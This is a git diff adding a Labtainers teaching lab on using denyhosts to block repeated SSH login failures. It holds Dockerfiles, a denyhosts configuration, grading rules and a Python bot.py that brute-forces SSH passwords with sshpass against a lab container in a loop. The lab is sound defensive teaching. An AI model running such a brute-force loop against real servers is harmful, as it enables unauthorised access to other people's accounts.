new file mode 100755 index 000000000..21cbc5490 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/client/_system/sbin/faux_init @@ -0,0 +1,18 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/client/bot.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/client/bot.py new file mode 100755 index 000000000..a61d29c60 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/client/bot.py @@ -0,0 +1,56 @@ +#!/usr/bin/env python +''' +A simple bot to login to a telnet server, change a password, and then +just keep logging in, listing a directory and logging out. +''' +import sys +from subprocess import PIPE, Popen +import logging + +ON_POSIX = 'posix' in sys.builtin_module_names + +def doLogin(uid, passwd): + retval = True + logging.debug("in doLogin for %s %s" % (uid, passwd)) + command = 'sshpass -p"%s" ssh -tt %s@172.20.0.3 exit' % (passwd, uid) + #print "command is (%s)" % command + p = Popen(command, shell=True, stdout=PIPE, stdin=PIPE, stderr=PIPE, bufsize=1, close_fds=ON_POSIX) + + logging.debug("after cmd: %s" % command) + output = p.communicate() + got = output[1] + #got = p.stderr.read() + #print "Got is (%s)" % got + logging.debug('stderr read, %s' % got) + if 'Permission denied' in got: + #print('login incorrect') + retval = False + elif 'Connection closed' in got or 'Connection reset by peer' in got or 'Connection t' in got: + #print('Connection closed triggered') + retval = True + else: + print('Sucess!') + return retval, p + + +''' +First loging and chnage the password. NEWPWD should be replaced by +a student-specific value. +''' +if len(sys.argv) != 2: + print('./bot.py ') +LOGFILE = "/tmp/bot.log" +logging.basicConfig(filename=LOGFILE, level=logging.DEBUG) +uid = sys.argv[1] +count = 1 +while True: + testpwd = '%s%s' % (uid, count) + result, p = doLogin(uid, testpwd) + if result: + print "Got Connection closed" + break + else: + print("try user: %s passwd: %s -- permission denied, count=%s" % (uid, testpwd, count)) + p.wait() + count = count + 1 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/config/about.txt new file mode 100644 index 000000000..84d159537 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/config/about.txt @@ -0,0 +1 @@ +Explores the use of denyhosts to limit SSH login attempts from IP addresses. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/config/start.config new file mode 100644 index 000000000..e95d7da55 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/config/start.config @@ -0,0 +1,37 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + GRADE_CONTAINER client + + # HOST_HOME_XFER - directory to transfer artifact to/from containers + HOST_HOME_XFER labtainer_xfer/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED sshlab_jkhosali_master_seed + +# SUBNETS +NETWORK SOME_NETWORK + MASK 172.20.0.0/24 + GATEWAY 172.20.0.100 + +# Container name and settings +CONTAINER server + USER hank + PASSWORD hank21 + SOME_NETWORK 172.20.0.3 + +CONTAINER client + USER ubuntu + SOME_NETWORK 172.20.0.2 + X11 YES + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/dockerfiles/Dockerfile.denyhost.client.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/dockerfiles/Dockerfile.denyhost.client.student new file mode 100644 index 000000000..31a89306b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/dockerfiles/Dockerfile.denyhost.client.student @@ -0,0 +1,32 @@ +# +# Labtainer Dockerfile +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG version +LABEL version=$version + +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends sshpass + +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/dockerfiles/Dockerfile.denyhost.server.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/dockerfiles/Dockerfile.denyhost.server.student new file mode 100644 index 000000000..b3e3861d9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/dockerfiles/Dockerfile.denyhost.server.student @@ -0,0 +1,32 @@ +# +# Labtainer Dockerfile +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password + +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends \ + denyhosts + +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/docs/Makefile new file mode 100644 index 000000000..fe905959e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/docs/Makefile @@ -0,0 +1,6 @@ +denyhosts.pdf: denyhosts.docx + soffice --convert-to pdf denyhosts.docx --headless + +clean: + rm -fr auto + rm -f *.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/docs/denyhosts.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/docs/denyhosts.docx new file mode 100644 index 000000000..5896187a6 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/docs/denyhosts.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/docs/read_first.txt new file mode 100644 index 000000000..7ee749874 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/docs/read_first.txt @@ -0,0 +1,7 @@ +The lab manual is at + file://LAB_DOCS/denyhosts.pdf + + +You may open that manual by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/instr_config/goals.config new file mode 100644 index 000000000..511df2a08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/instr_config/goals.config @@ -0,0 +1,16 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +# +# These assessment values simply reflect that the +# student performed some steps. No assessment is +# made regarding correctness +# +# quantity of login failures from initial client IP +deny_valid = value : deny_2 +# quantity of login failures from revised client IP +deny_invalid = value : deny_9 +# hank should login ok at least twice. second login +# should be after hosts.allow edited -- no way to +# measure that yet +hank_login = value : hank_ok diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/instr_config/results.config new file mode 100644 index 000000000..45e5e6719 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/instr_config/results.config @@ -0,0 +1,7 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +deny_2 = server:/var/log/auth.log : STRING_COUNT : Connection closed by 172.20.0.2 +deny_9 = server:/var/log/auth.log : STRING_COUNT : Connection closed by 172.20.0.9 +hosts_allow = server:/var/log/auth.log : CONTAINS : hosts.allow +hank_ok = server:/var/log/auth.log : STRING_COUNT : Accepted password for hank from 172.20.0.2 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/server/_bin/student_startup.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/server/_bin/student_startup.sh new file mode 100755 index 000000000..89f377fe3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/server/_bin/student_startup.sh @@ -0,0 +1 @@ +sudo service denyhosts restart &> /dev/null diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/server/_system/etc/denyhosts.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/server/_system/etc/denyhosts.conf new file mode 100644 index 000000000..7ec8dfb6d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/server/_system/etc/denyhosts.conf @@ -0,0 +1,704 @@ + ############ THESE SETTINGS ARE REQUIRED ############ + +######################################################################## +# +# SECURE_LOG: the log file that contains sshd logging info +# if you are not sure, grep "sshd:" /var/log/* +# +# The file to process can be overridden with the --file command line +# argument +# +# Redhat or Fedora Core: +#SECURE_LOG = /var/log/secure +# +# Mandrake, FreeBSD or OpenBSD: +#SECURE_LOG = /var/log/auth.log +# +# SuSE or Gentoo: +#SECURE_LOG = /var/log/messages +# +# Mac OS X (v10.4 or greater - +# also refer to: http://www.denyhost.net/faq.html#macos +#SECURE_LOG = /private/var/log/asl.log +# +# Mac OS X (v10.3 or earlier): +#SECURE_LOG=/private/var/log/system.log +# +# Debian and Ubuntu +SECURE_LOG = /var/log/auth.log +######################################################################## + +######################################################################## +# +# HOSTS_DENY: the file which contains restricted host access information +# +# Most operating systems: +HOSTS_DENY = /etc/hosts.deny +# +# Some BSD (FreeBSD) Unixes: +#HOSTS_DENY = /etc/hosts.allow +# +# Another possibility (also see the next option): +#HOSTS_DENY = /etc/hosts.evil +####################################################################### + + +######################################################################## +# +# PURGE_DENY: removed HOSTS_DENY entries that are older than this time +# when DenyHosts is invoked with the --purge flag +# +# format is: i[dhwmy] +# Where 'i' is an integer (eg. 7) +# 'm' = minutes +# 'h' = hours +# 'd' = days +# 'w' = weeks +# 'y' = years +# +# never purge: +PURGE_DENY = +# +# purge entries older than 1 week +#PURGE_DENY = 1w +# +# purge entries older than 5 days +#PURGE_DENY = 5d +####################################################################### + +####################################################################### +# +# PURGE_THRESHOLD: defines the maximum times a host will be purged. +# Once this value has been exceeded then this host will not be purged. +# Setting this parameter to 0 (the default) disables this feature. +# +# default: a denied host can be purged/re-added indefinitely +#PURGE_THRESHOLD = 0 +# +# a denied host will be purged at most 2 times. +#PURGE_THRESHOLD = 2 +# +####################################################################### + + +####################################################################### +# +# BLOCK_SERVICE: the service name that should be blocked in HOSTS_DENY +# +# man 5 hosts_access for details +# +# eg. sshd: 127.0.0.1 # will block sshd logins from 127.0.0.1 +# +# To block all services for the offending host: +#BLOCK_SERVICE = ALL +# To block only sshd: +BLOCK_SERVICE = sshd +# To only record the offending host and nothing else (if using +# an auxilary file to list the hosts). Refer to: +# http://denyhost.sourceforge.net/faq.html#aux +#BLOCK_SERVICE = +# +####################################################################### + + +####################################################################### +# +# DENY_THRESHOLD_INVALID: block each host after the number of failed login +# attempts has exceeded this value. This value applies to invalid +# user login attempts (eg. non-existent user accounts) +# +DENY_THRESHOLD_INVALID = 5 +# +####################################################################### + +####################################################################### +# +# DENY_THRESHOLD_VALID: block each host after the number of failed +# login attempts has exceeded this value. This value applies to valid +# user login attempts (eg. user accounts that exist in /etc/passwd) except +# for the "root" user +# +DENY_THRESHOLD_VALID = 10 +# +####################################################################### + +####################################################################### +# +# DENY_THRESHOLD_ROOT: block each host after the number of failed +# login attempts has exceeded this value. This value applies to +# "root" user login attempts only. +# +DENY_THRESHOLD_ROOT = 1 +# +####################################################################### + + +####################################################################### +# +# DENY_THRESHOLD_RESTRICTED: block each host after the number of failed +# login attempts has exceeded this value. This value applies to +# usernames that appear in the WORK_DIR/restricted-usernames file only. +# +DENY_THRESHOLD_RESTRICTED = 1 +# +####################################################################### + + +####################################################################### +# +# WORK_DIR: the path that DenyHosts will use for writing data to +# (it will be created if it does not already exist). +# +# Note: it is recommended that you use an absolute pathname +# for this value (eg. /home/foo/denyhost/data) +# +WORK_DIR = /var/lib/denyhosts +# +####################################################################### + +####################################################################### +# +# ETC_DIR: the path that DenyHosts will use for reading data when +# we need configuration information. +# +# Note: it is recommended that you use an absolute pathname +# for this value (eg. /etc or /usr/local/etc) +# +ETC_DIR = /etc +# +####################################################################### + + + +####################################################################### +# +# SUSPICIOUS_LOGIN_REPORT_ALLOWED_HOSTS +# +# SUSPICIOUS_LOGIN_REPORT_ALLOWED_HOSTS=YES|NO +# If set to YES, if a suspicious login attempt results from an allowed-host +# then it is considered suspicious. If this is NO, then suspicious logins +# from allowed-hosts will not be reported. All suspicious logins from +# ip addresses that are not in allowed-hosts will always be reported. +# +SUSPICIOUS_LOGIN_REPORT_ALLOWED_HOSTS=YES +###################################################################### + +###################################################################### +# +# HOSTNAME_LOOKUP +# +# HOSTNAME_LOOKUP=YES|NO +# If set to YES, for each IP address that is reported by Denyhosts, +# the corresponding hostname will be looked up and reported as well +# (if available). +# +HOSTNAME_LOOKUP=NO +# +###################################################################### + + +###################################################################### +# +# LOCK_FILE +# +# LOCK_FILE=/path/denyhosts +# If this file exists when DenyHosts is run, then DenyHosts will exit +# immediately. Otherwise, this file will be created upon invocation +# and deleted upon exit. This ensures that only one instance is +# running at a time. +# +# Redhat/Fedora: +#LOCK_FILE = /var/lock/subsys/denyhosts +# +# Debian or Gentoo +LOCK_FILE = /run/denyhosts.pid +# +# Misc +#LOCK_FILE = /tmp/denyhosts.lock +# +###################################################################### + + + ############ THESE SETTINGS ARE OPTIONAL ############ + + +####################################################################### +# +# IPTABLES: if you would like DenyHost to block incoming connections +# using the Linux firewall IPTABLES, then set the following variable +# to the path of the iptables executable. Typically this is +# /sbin/iptables +# If this option is not set or commented out then the iptables +# firewall is not used. +IPTABLES = /sbin/iptables +# +# Warning: If you are running IPTABLES, please make sure to comment +# out the PFCTL_PATH and the PF_TABLE variables below. PF and +# IPTABLES should not be running together on the same operating system. +# +# By default DenyHost will ask IPTables to block incoming connections +# from an aggressive host on ALL ports. While this is usually a good +# idea, it may prevent some botted machines from being able to access +# services their legitmate users want, like a web server. To only +# block specific ports, enable the following option. +# BLOCKPORT = 22 +# +####################################################################### + +####################################################################### +# +# On FreeBSD/OpenBSD/TrueOS/PC-BSD/NetBSD we may want to block incoming +# traffic using the PF firewall instead of the hosts.deny file +# (aka tcp_wrapper). +# The admin can set up a PF table that is persistent +# and DenyHost can add new addresses to be blocked to that table. +# The TrueOS operating system enables this by default, blocking +# all addresses in the "blacklist" table. +# +# To have DenyHost update the blocking PF table in real time, uncomment +# these next two options. Make sure the table name specificed +# is one created in the pf.conf file of your operating system. +# The PFCTL_PATH variable must point to the pfctl extectuable on your OS. +# PFCTL_PATH = /sbin/pfctl +# PF_TABLE = blacklist +# Note, a good rule to have in your pf.conf file to enable the +# blacklist table is: +# +# table persist file "/etc/blacklist" +# block in quick from to any +# +# Warning: If you are using PF, please make sure to disable the +# IPTABLES rule above as these two packet filters should not be +# run together on the same operating system. +# Note: Even if you decide to run DenyHost with PF filtering +# only and no hosts.deny support, please still create an empty +# file called /etc/hosts.deny for backward compatibility. +# Also, please make sure PF is enabled prior to launching +# DenyHosts. To do this run "pfctl -e". + + +####################################################################### + + +####################################################################### +# +# ADMIN_EMAIL: if you would like to receive emails regarding newly +# restricted hosts and suspicious logins, set this address to +# match your email address. If you do not want to receive these reports +# leave this field blank (or run with the --noemail option) +# +# Multiple email addresses can be delimited by a comma, eg: +# ADMIN_EMAIL = foo@bar.com, bar@foo.com, etc@foobar.com +# +ADMIN_EMAIL = root@localhost +# +####################################################################### + +####################################################################### +# +# SMTP_HOST and SMTP_PORT: if DenyHosts is configured to email +# reports (see ADMIN_EMAIL) then these settings specify the +# email server address (SMTP_HOST) and the server port (SMTP_PORT) +# +# +SMTP_HOST = localhost +SMTP_PORT = 25 +# +####################################################################### + +####################################################################### +# +# SMTP_USERNAME and SMTP_PASSWORD: set these parameters if your +# smtp email server requires authentication +# +#SMTP_USERNAME=foo +#SMTP_PASSWORD=bar +# +###################################################################### + +####################################################################### +# +# SMTP_FROM: you can specify the "From:" address in messages sent +# from DenyHosts when it reports thwarted abuse attempts +# +SMTP_FROM = DenyHosts +# +####################################################################### + +####################################################################### +# +# SMTP_SUBJECT: you can specify the "Subject:" of messages sent +# by DenyHosts when it reports thwarted abuse attempts +SMTP_SUBJECT = DenyHosts Report +# +###################################################################### + +###################################################################### +# +# SMTP_DATE_FORMAT: specifies the format used for the "Date:" header +# when sending email messages. +# +# for possible values for this parameter refer to: man strftime +# +# the default: +# +#SMTP_DATE_FORMAT = %a, %d %b %Y %H:%M:%S %z +# +###################################################################### + +###################################################################### +# +# SYSLOG_REPORT +# +# SYSLOG_REPORT=YES|NO +# If set to yes, when denied hosts are recorded the report data +# will be sent to syslog (syslog must be present on your system). +# The default is: NO +# +#SYSLOG_REPORT=NO +# +#SYSLOG_REPORT=YES +# +###################################################################### + +###################################################################### +# +# ALLOWED_HOSTS_HOSTNAME_LOOKUP +# +# ALLOWED_HOSTS_HOSTNAME_LOOKUP=YES|NO +# If set to YES, for each entry in the WORK_DIR/allowed-hosts file, +# the hostname will be looked up. If your versions of tcp_wrappers +# and sshd sometimes log hostnames in addition to ip addresses +# then you may wish to specify this option. +# +ALLOWED_HOSTS_HOSTNAME_LOOKUP=NO +# +###################################################################### + +###################################################################### +# +# AGE_RESET_VALID: Specifies the period of time between failed login +# attempts that, when exceeded will result in the failed count for +# this host to be reset to 0. This value applies to login attempts +# to all valid users (those within /etc/passwd) with the +# exception of root. If not defined, this count will never +# be reset. +# +# See the comments in the PURGE_DENY section (above) +# for details on specifying this value or for complete details +# refer to: http://denyhost.sourceforge.net/faq.html#timespec +# +AGE_RESET_VALID=5d +# +###################################################################### + +###################################################################### +# +# AGE_RESET_ROOT: Specifies the period of time between failed login +# attempts that, when exceeded will result in the failed count for +# this host to be reset to 0. This value applies to all login +# attempts to the "root" user account. If not defined, +# this count will never be reset. +# +# See the comments in the PURGE_DENY section (above) +# for details on specifying this value or for complete details +# refer to: http://denyhost.sourceforge.net/faq.html#timespec +# +AGE_RESET_ROOT=25d +# +###################################################################### + +###################################################################### +# +# AGE_RESET_RESTRICTED: Specifies the period of time between failed login +# attempts that, when exceeded will result in the failed count for +# this host to be reset to 0. This value applies to all login +# attempts to entries found in the WORK_DIR/restricted-usernames file. +# If not defined, the count will never be reset. +# +# See the comments in the PURGE_DENY section (above) +# for details on specifying this value or for complete details +# refer to: http://denyhost.sourceforge.net/faq.html#timespec +# +AGE_RESET_RESTRICTED=25d +# +###################################################################### + + +###################################################################### +# +# AGE_RESET_INVALID: Specifies the period of time between failed login +# attempts that, when exceeded will result in the failed count for +# this host to be reset to 0. This value applies to login attempts +# made to any invalid username (those that do not appear +# in /etc/passwd). If not defined, count will never be reset. +# +# See the comments in the PURGE_DENY section (above) +# for details on specifying this value or for complete details +# refer to: http://denyhost.sourceforge.net/faq.html#timespec +# +AGE_RESET_INVALID=10d +# +###################################################################### + + +###################################################################### +# +# RESET_ON_SUCCESS: If this parameter is set to "yes" then the +# failed count for the respective ip address will be reset to 0 +# if the login is successful. +# +# The default is RESET_ON_SUCCESS = no +# +#RESET_ON_SUCCESS = yes +# +##################################################################### + + +###################################################################### +# +# PLUGIN_DENY: If set, this value should point to an executable +# program that will be invoked when a host is added to the +# HOSTS_DENY file. This executable will be passed the host +# that will be added as its only argument. +# +#PLUGIN_DENY=/usr/bin/true +# +###################################################################### + + +###################################################################### +# +# PLUGIN_PURGE: If set, this value should point to an executable +# program that will be invoked when a host is removed from the +# HOSTS_DENY file. This executable will be passed the host +# that is to be purged as its only argument. +# +#PLUGIN_PURGE=/usr/bin/true +# +###################################################################### + +###################################################################### +# +# USERDEF_FAILED_ENTRY_REGEX: if set, this value should contain +# a regular expression that can be used to identify additional +# hackers for your particular ssh configuration. This functionality +# extends the built-in regular expressions that DenyHosts uses. +# This parameter can be specified multiple times. +# See this faq entry for more details: +# http://denyhost.sf.net/faq.html#userdef_regex +# +#USERDEF_FAILED_ENTRY_REGEX= +# +# +###################################################################### + + + + + ######### THESE SETTINGS ARE SPECIFIC TO DAEMON MODE ########## + + + +####################################################################### +# +# DAEMON_LOG: when DenyHosts is run in daemon mode (--daemon flag) +# this is the logfile that DenyHosts uses to report its status. +# To disable logging, leave blank. (default is: /var/log/denyhosts) +# +DAEMON_LOG = /var/log/denyhosts +# +# disable logging: +#DAEMON_LOG = +# +###################################################################### + +####################################################################### +# +# DAEMON_LOG_TIME_FORMAT: when DenyHosts is run in daemon mode +# (--daemon flag) this specifies the timestamp format of +# the DAEMON_LOG messages (default is the ISO8061 format: +# ie. 2005-07-22 10:38:01,745) +# +# for possible values for this parameter refer to: man strftime +# +# Jan 1 13:05:59 +#DAEMON_LOG_TIME_FORMAT = %b %d %H:%M:%S +# +# Jan 1 01:05:59 +#DAEMON_LOG_TIME_FORMAT = %b %d %I:%M:%S +# +###################################################################### + +####################################################################### +# +# DAEMON_LOG_MESSAGE_FORMAT: when DenyHosts is run in daemon mode +# (--daemon flag) this specifies the message format of each logged +# entry. By default the following format is used: +# +# %(asctime)s - %(name)-12s: %(levelname)-8s %(message)s +# +# Where the "%(asctime)s" portion is expanded to the format +# defined by DAEMON_LOG_TIME_FORMAT +# +# This string is passed to python's logging.Formatter contstuctor. +# For details on the possible format types please refer to: +# http://docs.python.org/lib/node357.html +# +# This is the default: +#DAEMON_LOG_MESSAGE_FORMAT = %(asctime)s - %(name)-12s: %(levelname)-8s %(message)s +# +# +###################################################################### + + +####################################################################### +# +# DAEMON_SLEEP: when DenyHosts is run in daemon mode (--daemon flag) +# this is the amount of time DenyHosts will sleep between polling +# the SECURE_LOG. See the comments in the PURGE_DENY section (above) +# for details on specifying this value or for complete details +# refer to: http://denyhost.sourceforge.net/faq.html#timespec +# +# +DAEMON_SLEEP = 3s +# +####################################################################### + +####################################################################### +# +# DAEMON_PURGE: How often should DenyHosts, when run in daemon mode, +# run the purge mechanism to expire old entries in HOSTS_DENY +# This has no effect if PURGE_DENY is blank. +# +DAEMON_PURGE = 1h +# +####################################################################### + + + ######### THESE SETTINGS ARE SPECIFIC TO ########## + ######### DAEMON SYNCHRONIZATION ########## + + +####################################################################### +# +# Synchronization mode allows the DenyHosts daemon the ability +# to periodically send and receive denied host data such that +# DenyHosts daemons worldwide can automatically inform one +# another regarding banned hosts. This mode is disabled by +# default, you must uncomment SYNC_SERVER to enable this mode. +# +# for more information, please refer to: +# http:/denyhost.sourceforge.net/faq.html +# +####################################################################### + + +####################################################################### +# +# SYNC_SERVER: The central server that communicates with DenyHost +# daemons. +# +# To disable synchronization (the default), do nothing. +# +# To enable synchronization, you must uncomment the following line: +#SYNC_SERVER = http://xmlrpc.denyhosts.net:9911 +# +####################################################################### + +####################################################################### +# +# SYNC_PROXY_SERVER: HTTP proxy to use when connecting to the +# SYNC-SERVER +# +# To disable using a proxy (the default), do nothing. +# +# To enable an HTTP proxy, you must uncomment and edit the following line: +#SYNC_PROXY_SERVER = http://my.web.proxy:3128 +# +####################################################################### + +####################################################################### +# +# SYNC_INTERVAL: the interval of time to perform synchronizations if +# SYNC_SERVER has been uncommented. The default is 1 hour. +# +#SYNC_INTERVAL = 1h +# +####################################################################### + + +####################################################################### +# +# SYNC_UPLOAD: allow your DenyHosts daemon to transmit hosts that have +# been denied? This option only applies if SYNC_SERVER has +# been uncommented. +# The default is SYNC_UPLOAD = yes +# +SYNC_UPLOAD = no +#SYNC_UPLOAD = yes +# +####################################################################### + + +####################################################################### +# +# SYNC_DOWNLOAD: allow your DenyHosts daemon to receive hosts that have +# been denied by others? This option only applies if SYNC_SERVER has +# been uncommented. +# The default is SYNC_DOWNLOAD = yes +# +SYNC_DOWNLOAD = no +#SYNC_DOWNLOAD = yes +# +# +# +####################################################################### + +####################################################################### +# +# SYNC_DOWNLOAD_THRESHOLD: If SYNC_DOWNLOAD is enabled this parameter +# filters the returned hosts to those that have been blocked this many +# times by others. That is, if set to 1, then if a single DenyHosts +# server has denied an ip address then you will receive the denied host. +# +# See also SYNC_DOWNLOAD_RESILIENCY +# +#SYNC_DOWNLOAD_THRESHOLD = 10 +# +# The default is SYNC_DOWNLOAD_THRESHOLD = 3 +# +#SYNC_DOWNLOAD_THRESHOLD = 3 +# +####################################################################### + +####################################################################### +# +# SYNC_DOWNLOAD_RESILIENCY: If SYNC_DOWNLOAD is enabled then the +# value specified for this option limits the downloaded data +# to this resiliency period or greater. +# +# Resiliency is defined as the timespan between a hackers first known +# attack and its most recent attack. Example: +# +# If the centralized denyhosts.net server records an attack at 2 PM +# and then again at 5 PM, specifying a SYNC_DOWNLOAD_RESILIENCY = 4h +# will not download this ip address. +# +# However, if the attacker is recorded again at 6:15 PM then the +# ip address will be downloaded by your DenyHosts instance. +# +# This value is used in conjunction with the SYNC_DOWNLOAD_THRESHOLD +# and only hosts that satisfy both values will be downloaded. +# This value has no effect if SYNC_DOWNLOAD_THRESHOLD = 1 +# +# The default is SYNC_DOWNLOAD_RESILIENCY = 5h (5 hours) +# +# Only obtain hackers that have been at it for 2 days or more: +#SYNC_DOWNLOAD_RESILIENCY = 2d +# +# Only obtain hackers that have been at it for 5 hours or more: +#SYNC_DOWNLOAD_RESILIENCY = 5h +# +####################################################################### + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/server/_system/etc/xinetd.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/server/_system/etc/xinetd.conf new file mode 100644 index 000000000..94a44e584 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/server/_system/etc/xinetd.conf @@ -0,0 +1,15 @@ +# Simple configuration file for xinetd +# +# Some defaults, and include /etc/xinetd.d/ + +defaults +{ + +# Please note that you need a log_type line to be able to use log_on_success +# and log_on_failure. The default is the following : +log_type = SYSLOG daemon info + +} + +includedir /etc/xinetd.d + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/server/_system/etc/xinetd.d/ssh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/server/_system/etc/xinetd.d/ssh new file mode 100644 index 000000000..9b8db4365 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/server/_system/etc/xinetd.d/ssh @@ -0,0 +1,12 @@ +service ssh +{ + socket_type = stream + protocol = tcp + wait = no + port = 22 + user = root + server = /usr/sbin/sshd + server_args = -i + disable = no +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/server/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/server/_system/sbin/faux_init new file mode 100755 index 000000000..adcabdf9b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/server/_system/sbin/faux_init @@ -0,0 +1,21 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# +# Check the existent of permanent 'did_param' lock directory +# Sleep until exist +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +# PUT any daemon start (that need parameterization after while loop) + +#/usr/sbin/rsyslog -n & +service rsyslog restart +service rc.local start +# denyhosts now starts in .local/bin/student_startup.sh +# fails to start on first boot +#service denyhosts start +service xinetd restart diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/server/filetoview.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/server/filetoview.txt new file mode 100644 index 000000000..c69699f70 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/server/filetoview.txt @@ -0,0 +1,7 @@ +# Filename: filetoview.txt +# +# Description: This is a pre-created file for each student (sshlab-server) container + +# This file is modified when container is created +# The string below will be replaced with a keyed hash +My string is: SSH_STRING diff --git 